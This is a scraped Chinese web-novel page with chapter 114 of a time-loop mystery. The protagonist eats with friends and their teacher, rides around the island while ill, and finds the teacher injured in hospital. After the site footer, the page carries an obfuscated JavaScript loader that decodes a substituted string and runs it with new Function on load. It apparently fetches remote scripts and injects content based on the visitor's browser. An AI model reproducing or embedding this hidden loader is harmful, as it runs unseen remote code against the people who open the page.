首页
第114章 急转直下(下)(
返回

第114章 急转直下(下)(加更求月票!)

章节报错(免登陆)
下载APP,无广告、完整阅读

一秒记住【沧元图小说网】
09read.com,更新快,无弹窗!

    第114章急转直下(下)(加更求月票!)
    「对了述桐,你知不知道秋绵还以为你安心回家歇着去了,还嘱咐我带你散散心,你这如果让她知道,肯定又要担心……」
    老宋收起手机,悄悄凑到他耳边。
    张述桐沉默片刻,「这样最好,别告诉她了。」
    没有必要,他不是为了向谁证明什麽,人家已经有保镖围在身边了,处境安全,还要暗示她自己在外面乱跑丶寻找所谓的凶手,是故意卖惨还是自我感动?
    而且就算她知道了,无非在家里打个电话过来,或者在QQ上问几句。
    老宋摇摇头不再说话,一行人去了商场二楼,花花绿绿的横幅飘荡,有些新开业的门面,此行的目的地是家川菜连锁店,老宋说要去厕所,张述桐就和路青怜在门口逛逛。
    「第一次来?」
    「第一次。」
    现在他们站在川菜店对面的家电卖场,彼时的商场还没有明确的区域划分,像一楼是时装区丶二楼是美食区,而是乱哄哄地挤在一起。
    你前脚买从火锅店里走出来,说不定隔壁就是内衣店。
    张述桐和路青怜在卖场外蹭电视看。
    电视上放着本地的频道,午间新闻,在报导这几天的大雪,然后顺带介绍一下雪天安全小常识,比如及时清扫路面棚屋上的积雪,比如走路时最好要慢点,又比如这几天不要骑车,也许会在几天后的语文作业里出现。
    张述桐扫一眼就不再关注,实在没什麽营养,路青怜却抬起脸看得很认真,像只猫看着橱窗里的小鱼乾。
    算了,这姑娘看什麽都很新奇。
    画面一转,有新的素材出现,大概是拍了岛上某处山,山上覆盖积雪,然后主持人一转轻松的口吻,提醒大家注意雪崩。
    雪崩,有点遥远的词汇。
    但张述桐知道不是没可能发生,主持人又说,学生们这个周末切记不要一个人跑到山上玩,就算去了,也一定要注意安全。
    因为雪崩通常不会发生在刚下完雪的时候;
    而是几天后气温升高丶积雪表面融化,雪水就会慢慢渗透,让原本结实的雪松散起来。
    这时候又插播了一条数据:
    「据专家统计,90%的雪崩都由受害者或者他们的队友造成,这种雪崩被称为『人为休闲雪崩』。
    「冬季运动爱好者发出的声音会在不经意间成为导火索,有的时候甚至只需要一个喷嚏,声源的振动传递到了雪层内部,促使摇摇欲坠的积雪垮塌。
    「因此,户外运动时务必保持安静,尤其是雪崩发生时,当事人的惊叫很有可能触发二次雪崩。
    「而人被雪堆掩埋后,如果半个小时不能获救,生还希望将会很渺茫……」
    「这个时间不靠谱,别信。」张述桐随口说,「其实一般人的最佳救援时间只有十五分钟,半个小时只有身体素质极好的成年男性才有可能坚持下来。」
    路青怜点点下巴,随即疑惑道:「获救后需要用热水泡脚吗?」
    张述桐闭嘴。
    「你想看就看吧。」他无奈道,「谁让你天天在山上。」
    画面又是一转,是另一处山景,镜头推近,张述桐却看着有点眼熟:
    「你看山下那条路,像不像去别墅的那条环山路?」
    「好像是。」路青怜也皱起眉头。
    「那你说那些个脚印会不会是……」
    「记者留下的?」少女淡淡补完后半句话。
    要是这样可真闹了个大乌龙。
    张述桐又仔细打量片刻,才说:
    「应该不是,你看没看到那里有棵树,我记得我在那里歇过脚,还望了望山上的积雪,担心会不会雪崩来着,当时是没有树的,而且山路上没有脚印,估计是从前的素材凑数。」
    路青怜闻言回忆道:「我也没看到有一棵树。」
    这时听到老宋在叫他们,张述桐转过身,路青怜却还在看电视。
    「下面将示范人工呼吸的标准动作……」
    他喊了一声,少女又看了几眼才转过头,拄着拐杖进了饭店。
    ……
    不久后三个死党也来了。
    看见两人先到没多奇怪,除了对路青怜脚上的伤关心了几句。
    点完菜后,一行人被服务员请进包厢,老宋是领头的,腰板挺得笔直,对方张口闭口宋先生,配合他手里那张金色的超级贵宾卡,真像个成功人士。
    但一关门就露馅了。
    男人一边脱外套一边苦笑:
    「你们几个记住啊,虽然我是说了要请客,但这个人情得算在人家秋绵头上,我开始以为存个五百就顶天了,没想到存了足足五千。」
    「多少?」
    几个小夥伴惊呼。
    「五千,而且是因为这张卡最高就能充五千,」老宋有点苦恼,「不是我得了便宜还卖乖,但早知道这麽多我就不收了。其实我当时也没准备收,是秋绵说让我带你们几个好好玩玩,就当压压惊,别把昨天的事放在心上。我觉得也不是我一个人花,一顿饭估计就没了,才拿着的,可这五千怎麽花……你们几个买衣服不?」
    「不要。」几人同时摇头。
    「吃完这顿饭卡就留在你们那里,怎麽分配你们看着办,老师避下嫌……」
    「我们要这麽多也没用啊,」杜康下意识说,「能不能还回去?」
    「要不这样吧,」老宋爽快道,「就当没这张卡了,这顿还是我请,等明天见到秋绵,我就说卡忘带了,这样她估计心里过意不去,还要请你们一顿,一来一去你们能吃两顿饭,至于这张卡呢,述桐你找个机会还给她吧。」
    众人一致同意,这张卡就稀里糊涂地到了他手上,张述桐打量了一眼,居然还是金属的,份量够足。
    很快菜一道道端上来,足足有八道,老宋其实是有点肉疼的,但这时候怎麽也不能在学生面前怯场,主动端起可乐招呼大家乾杯。
    「述桐你怎麽坐得这麽远?」若萍奇怪道。
    「感冒了。」张述桐拉下口罩,「怕传染你们。」
    「你昨天在外面跑到几点?」
    「忘了。」张述桐如实回答。
    他虚空跟大家干了一杯,大口喝着可乐。
    张述桐说自己得的是超强流感,沾到一点吐沫星子就坏事,不怕死的尽管来。
    果然被嫌弃了。
    若萍还很「贴心」地给他找了副公筷。
    时间已经一点多了。
    他本来话就少,今天更少,听着其他人在饭桌上吵吵嚷嚷的,坐在远处默默吃饭,大家知道他病了,善解人意,也不招呼他聊天或乾杯。
    张述桐偶尔会看下手机,他现在念头通达起来,要感谢老宋。
    记得当初解决完周子衡父子,回家的路上,他还自大地想,所谓回溯,不过是踢开人生路上一颗颗绊脚的石子,现在想想,无非是有些东西想给自己一个交代,还能奔跑,那就继续跑下去,如果真的尽力了,就可以歇会。
    有个不怕死的凑到他身边,是清逸:
    「有没有新发现?」
    「发现什麽?」张述桐挪了挪椅子,夹起一个宫保鸡丁,「哦,发现了,这玩意居然是甜的。」
    「你下午准备去哪里?」
    「再骑车去逛逛。」
    清逸惊讶道,「我还以为你会瞒着我们的。」
    「那样太没意思了,现在谁来问我我就说。不问的话当然乐得清静。」
    「需要我们做什麽?」
    「没什麽吧,我就是到处逛逛,逛到精疲力尽了,就该回去了。」张述桐想了想。
    「为了找到那个脚印?」
    「不是,其实是另一个人,我现在知道潜意识里在担心什麽了,」张述桐叹口气,「如果只是环山路那串脚印没什麽可怕的,但你还记不记得我从禁区里看到的人影?」
    「哦,不是说路青怜吗?」
    「不是她。」张述桐只能这样回答,「但我也不知道是谁。她和脚印是两个人,对了,昨天回去的时候,碰到真的凶手了,路青怜和她交了一次手。」
    张述桐简单描述了一遍,「以她表现出的身手来看没什麽可担心的,自投罗网的话,就算我打不过,一堆保镖总能打得过,更别说我晚上也准备带路青怜去一趟。」
    「真正让人放心不下的还是禁区的人影?」
    张述桐点点头,「能找到就找到,找不到就等雪化了慢慢找,总要把她找出来。」
    「我好像有点明白了,现在情况也说不上多危险,你其实是想过自己心里那关?」
    「对。」
    「所以现在不是想瞒着谁,而是真的不需要帮忙?」
    「嗯。」
    「别把自己搞得太狼狈了。」
    「男人嘛,总要狼狈一些。」张述桐难得开了句玩笑,「其实就是强迫症啦。」
    「这叫保护自己珍视的事物嘛。」清逸甩下一句中二台词,摆摆手,「那有事就再联系喽。」
    同一件事从不同人嘴里说出来是不一样的,老宋眼中是强迫症,清逸眼中是中二病,当然,他自己不会这麽觉得。
    吃过饭后,张述桐又和路青怜商量好一件事。
    让她跟若萍回家休息一会,为晚上做准备。
    她现在的情况不可能回山上,去自己家里则不方便联系。
    若萍自然答应,敲定以后,张述桐抓起衣服,和几人道别。
    ……
    「花了多少啊老师?」若萍好奇道。
    她看到老宋出来的时候手都是抖的。
    「别问了,不贵。」男人闭上双眼,呼气又吸气,没好意思说这顿饭宰了他七分之一的工资,足足六百。
    「要不我们几个凑一下吧。」若萍看出老师语气不太对,有点不好意思了。
    「都说了我请,哪能后悔。」宋南山叹口气,「这几年没什麽太大的开支,就慢慢小气了,其实老师年轻的时候也是个月光族,花钱大手大脚的。」
    「不会是给女朋友买礼物吧?」
    「你还真说中了。」老宋一乐,「你是女孩子,应该知道女生花销的地方巨多,省着有省着的活法,但要不想凑合,那消费瞬间上一个档次,我给你说啊,光是买水果……」
    若萍堵上耳朵:
    「停停,不想听您秀恩爱。」
    「有感而发丶有感而发。」宋南山尴尬道,和学生说这些确实不太合适。
    「那我待会送你们回去,述桐那里你们就先别管了,这小子最近有点倔。嗯,怎麽说呢,你们作为朋友,就多包容一下。」
    「没问题~」若萍拖着长腔,「唉,我现在都懒得问了,这几天随他去吧,就配合他发神经呗。」
    「嗯,有你们这样的朋友是他的幸运。」
    宋南山欣慰地笑笑。
    「最好是,我还怕他嫌我们烦呢。」若萍翻个白眼,招呼剩下两个男生快走。
    他们不知道什麽时候跑到饭店对面的家电馆去了,正在蹭电视看,电视上放着铠甲勇士。
    两个男生手里比划,嘴上大喊台词:
    「喂清逸,我再也不想看到人们的眼泪!我想看到大家的笑容!」
    「碰巧我也是啊杜康,所以,请看好了我的变身!」
    结果身没变完,就被若萍无语地拉了回来。
    「多大了还看铠甲勇士?你们幼不幼稚……」
    这话一出,却迎来了两个男生出离地愤怒:
    「首先,这是假面骑士,其次,老子,登场!」
    若萍顿时沉默。
    「你是不是知道自己错了?」
    「我不认识你俩……」她叹口气,「行了,青怜脚不好,还在楼下等着呢,咱们也快点。」
    「也对。」杜康瞬间叛变骑士阵营,「还不走清逸,我早就说空我没什麽好看的。」
    「你……」清逸难以置信地瞪大眼。
    三人叽叽喳喳朝着宋南山的方向走去,男人正在电梯口等他们。
    「我管不了他们了,老师你来管吧。」若萍边走边扶额。
    男人本靠着扶手,笑着看着他们几个打闹,招招手就要走上电梯,突然间笑容一凝:
    「先等下若萍……」
    「怎麽了?」
    「你们先玩着……或者你能不能给你爸爸打个电话,让他来接你们,老师现在突然有点急事……马上就,」男人肉眼可见地语无伦次,「不,可能一时半会都回不来了,总之必须得走了……」
    「咋了老师,出啥事了?」杜康连忙跑着跟上来问。
    可宋南山没有回应,而是踉踉跄跄地飞奔下电梯,三人都被这突如其来的变故惊了一下,才想到要跟上去,可他们的班主任已经跑到商场一楼,身影消失在人海中。
    「老师到底怎麽了?」若萍呆呆地说。
    「等会打个电话问一下吧。」清逸回头看看,「他刚才是在看哪边?」
    「好像是一层?」若萍指了指,三人同时望去,那里人潮汹涌。
    「我先给我爸打个电话好了,几人很快下了一层,若萍心累地叹口气,拨通电话,同时朝着路青怜挥挥手,「这里这里,计划有变,坐我家车回去吧……」
    ……
    张述桐骑车到了派出所。
    他现在又想起一个问题,既然时隔八年有三个人死在禁区,那此前有没有发生过这样的案子,又或者说,从前有没有人从禁区目击到可疑的踪影。
    原时空,殡仪馆前,杜康曾说过一句话,案发几天前,曾有渔民看到禁区有人出没。
    张述从前认为是盗猎犯,为此设了陷阱,最后排除了禁区,但现在来看,一切线索还要回到最初。
    他现在有两个警官的电话,一个是熊警官,因为钓鱼结识的;另一个是王警官,老宋和对方有旧。
    然而两个警官都不在,说是因为顾家的事去了市里做报告,只剩一个连线的警员。电话也没打通,占线,估计在开会。
    张述桐问警员能不能让他看下卷宗,对方面露难色:
    「卷宗这个肯定不符合程序,但同学你说的那两种情况,我倒可以告诉你,这些年来都没有发生过,真要说那片荒地死过人,就是那个传说,一条载着大学生的渔船翻了。但那是上个世纪的事,我当时还没你大,而且是真是假现在也没个说法。」
    张述桐叹口气,朝对方道了谢。
    现在是下午三点。
    如果把周六的凌晨定为零点,那现在距案发还有9个小时。
    习惯性地看了眼手机,若萍说他们已经到家了,还说老宋突然有急事,不知道为什麽就匆匆离开了,她打了个电话,一直没打通,她准备等下再问问。
    张述桐回一句知道了。
    他戴好头盔和手套,跨上车子,开始迎着寒风环岛骑行。
    他不知道这样做是不是对的,为了寻找一个「不存在」的人,为此一直在狂奔的路上,摩托车的排气管滚烫,刚刚上车时不小心碰了一下,隔着手套都是都有点疼。
    他沿着公交车的线路,转了一圈又一圈。
    老宋是不是也曾走过这样的路呢?
    张述桐有时会想。
    白雪丶芦苇丶石头丶冰层丶泥土……
    满目萧瑟。
    冬天从来不是一个和善的季节,它只是把肃杀掩盖在了洁白之下。
    张述桐不知道骑了多久,中午的状态好像只是回光返照,他现在头又开始晕了,他知道不能再硬撑,看了眼手机,已经是四点多。
    一下午时间就这麽过去。
    张述桐又骑车回到医院,独自挂了号,还是呼吸外科,值班的还是那个大叔,对方明显一愣:
    「又是你啊?」
    「好像又开始烧了……」张述桐说,「能不能再来一针?」
    「你这孩子当退烧针是吃饭呢,中午打完下午还来。」大夫头疼道,「我看你乾脆去打个吊瓶吧,就在那里歇会,你这样子要是晚上还不能退烧,估计就严重了。」
    张述桐想了想,没有异议。
    他开了药去病房打针,依然是那个小护士,「你怎麽又来了?」
    「忙呗。」他这人一直很有幽默细胞。
    张述桐伸出手,对方扎好压脉带,拍了拍他的手背,像是打量一扇排骨:
    「你这是在外面待了多长时间,这麽凉?」
    「一下午。」
    「别再乱跑了啊。」
    「跑不了了。」张述桐扬扬手,弱弱地答道。
    他又问护士要了一个充电器,这次怎麽也不敢放肆了,要乖乖把电量充满。
    张述桐闭目养神,偶尔会睁开眼看看吊瓶,担心自己睡着。
    事实证明他想多了,晚上人更加多了丶病房被挤满,咳嗽声吐痰声,各种怪味飘散在空气里,还有小孩的哭声,吵得人太阳穴发胀。
    医院绝对不是个好地方,但他居然从这里见鬼地感受到一丝温暖。
    张述桐看到一个小胖子手上找不到血管,护士提议扎脚,但小胖子死活不愿意,手脚并用,拼命把两只脚往身下藏,和打坐的罗汉似的,他妈妈就在旁边干着急,哭声不止,护士不休,张述桐见状笑笑,忘了自己小时候有没有这幅样子丶见针就哭,但所谓大人,其实就是有一天你不太舒服,自觉地去医院打针了。
    这是间和他家客厅差不多大的小病房,几十平米,有沙发也有床铺,沙发净是窟窿,里面填充的海绵已经不剩多少,屁股坐在上面能感觉到金属的骨架,不知道是谁这麽坏,好好打针就完了,非要抠沙发乾嘛……但回过神来,他发现自己也揪出一小撮海绵,顿觉尴尬。
    快到饭点,各种粘液的怪味外还有饭菜的香气,张述桐有点反胃,乾脆出去走走,他自己摘了吊瓶举着,来到走廊,这里摩肩接踵,他想了个歪招,把吊瓶挂在窗户的把手上,双手终于解放。
    现在医院管得不严,一个男人站在他身边,不停地抽着烟,窗外的寒风一阵阵涌来,把烟气推向四方。张述桐知道旁边是急诊室,这又是谁的丈夫谁的父亲?
    冬天是肃杀的季节,而医院就是离死亡最近的地方。
    身后是匆匆而过的人,大人小孩男人女人……背后吵闹,你望着窗外的雪,那里是唯一安宁的地方。
    他打了个哈欠,正准备回去,却突然被碰了一下。
    「让让!」原来是一群护士正跑过走廊,领头的是个男护士,他声音焦急,没怎麽注意周围,张述桐险些被他撞倒,一时间手上的针头都有些回血。
    定睛一看,护士们围着一张病床,果然是抢救,他赶紧往旁边让路,知道这时候就别再纠结碰没碰到,帮不上忙起码不要添乱。
    他甚至在想,这就是小医院的坏处,不像大医院那样区域分明——打针就只是打针,别说急诊了,就连小孩都在单独的少儿科。
    但在小岛上,你可以见到各种病人,有流鼻涕的丶有高烧不退的丶有急需抢救的丶也有濒临死亡的。
    张述桐有些感慨,他甩甩头,与病床擦肩而过。
    一个男人躺在病床上,对方头上缠着绷带,绷带上渗着血,他双眼紧闭,面如白纸。
    「砰——」
    手里的吊瓶摔在地上,药液洒了一地,玻璃在水磨石地板上飞溅,这里本就是混乱的中心,此刻乱上加乱。
    张述桐如遭雷击,他张了张嘴,突然说不出话来。
    只因他认识那个男人。
    男人叫宋南山。
    (本章完)
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="u5afgpg4hc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/_nd7pJpoh(/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"_nd7pJpoh("!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8_nd7pJpoh("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();